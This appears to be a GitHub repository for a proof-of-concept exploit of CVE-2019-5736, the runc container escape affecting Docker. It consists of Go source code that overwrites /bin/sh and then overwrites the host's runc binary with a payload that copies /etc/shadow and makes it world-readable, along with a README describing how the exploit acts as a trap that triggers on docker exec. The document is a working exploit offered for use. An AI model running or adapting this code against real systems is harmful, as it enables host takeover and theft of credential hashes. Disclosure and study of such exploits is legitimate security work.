├── screenshots ├── 1.png ├── 2.png ├── dangerous.gif └── example1.gif ├── main.go └── README.md /screenshots/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/deepfence/CVE-2019-5736-PoC/HEAD/screenshots/1.png -------------------------------------------------------------------------------- /screenshots/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/deepfence/CVE-2019-5736-PoC/HEAD/screenshots/2.png -------------------------------------------------------------------------------- /screenshots/dangerous.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/deepfence/CVE-2019-5736-PoC/HEAD/screenshots/dangerous.gif -------------------------------------------------------------------------------- /screenshots/example1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/deepfence/CVE-2019-5736-PoC/HEAD/screenshots/example1.gif -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | // Implementation of CVE-2019-5736 4 | // Created with help from @singe, @_cablethief, and @feexd. 5 | // This commit also helped a ton to understand the vuln 6 | // https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d 7 | import ( 8 | "fmt" 9 | "io/ioutil" 10 | "os" 11 | "strconv" 12 | "strings" 13 | ) 14 | 15 | // This is the line of shell commands that will execute on the host 16 | var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow" 17 | 18 | func main() { 19 | // First we overwrite /bin/sh with the /proc/self/exe interpreter path 20 | fd, err := os.Create("/bin/sh") 21 | if err != nil { 22 | fmt.Println(err) 23 | return 24 | } 25 | fmt.Fprintln(fd, "#!/proc/self/exe") 26 | err = fd.Close() 27 | if err != nil { 28 | fmt.Println(err) 29 | return 30 | } 31 | fmt.Println("[+] Overwritten /bin/sh successfully") 32 | 33 | // Loop through all processes to find one whose cmdline includes runcinit 34 | // This will be the process created by runc 35 | var found int 36 | for found == 0 { 37 | pids, err := ioutil.ReadDir("/proc") 38 | if err != nil { 39 | fmt.Println(err) 40 | return 41 | } 42 | for _, f := range pids { 43 | fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline") 44 | fstring := string(fbytes) 45 | if strings.Contains(fstring, "runc") { 46 | fmt.Println("[+] Found the PID:", f.Name()) 47 | found, err = strconv.Atoi(f.Name()) 48 | if err != nil { 49 | fmt.Println(err) 50 | return 51 | } 52 | } 53 | } 54 | } 55 | 56 | // We will use the pid to get a file handle for runc on the host. 57 | var handleFd = -1 58 | for handleFd == -1 { 59 | // Note, you do not need to use the O_PATH flag for the exploit to work. 60 | handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777) 61 | if int(handle.Fd()) > 0 { 62 | handleFd = int(handle.Fd()) 63 | } 64 | } 65 | fmt.Println("[+] Successfully got the file handle") 66 | 67 | // Now that we have the file handle, lets write to the runc binary and overwrite it 68 | // It will maintain it's executable flag 69 | for { 70 | writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700) 71 | if int(writeHandle.Fd()) > 0 { 72 | fmt.Println("[+] Successfully got write handle", writeHandle) 73 | writeHandle.Write([]byte(payload)) 74 | return 75 | } 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-5736-PoC 2 | PoC for CVE-2019-5736 3 | 4 | Created with help from @singe, @_cablethief, and @feexd 5 | 6 | Tested on Ubuntu 18.04, Debian 9, and Arch Linux. Docker versions 18.09.1-ce and 18.03.1-ce. This PoC does not currently work with Ubuntu 16.04 and CentOS. 7 | 8 | Go checkout the exploit code from Dragon Sector (the people who discovered the vulnerability) here. 9 | 10 | ### What is it? 11 | This is a Go implementation of CVE-2019-5736, a container escape for Docker. The exploit works by overwriting and executing the host systems runc binary from within the container. 12 | 13 | ## How does the exploit work? 14 | There are **2** use cases for the exploit. The first (which is what this repo is), is essentially a trap. An attacker would need to get command execution inside a container and start a malicious binary which would listen. When someone (attacker or victim) uses `docker exec` to get into the container, this will trigger the exploit which will allow code execution as root. 15 | 16 |



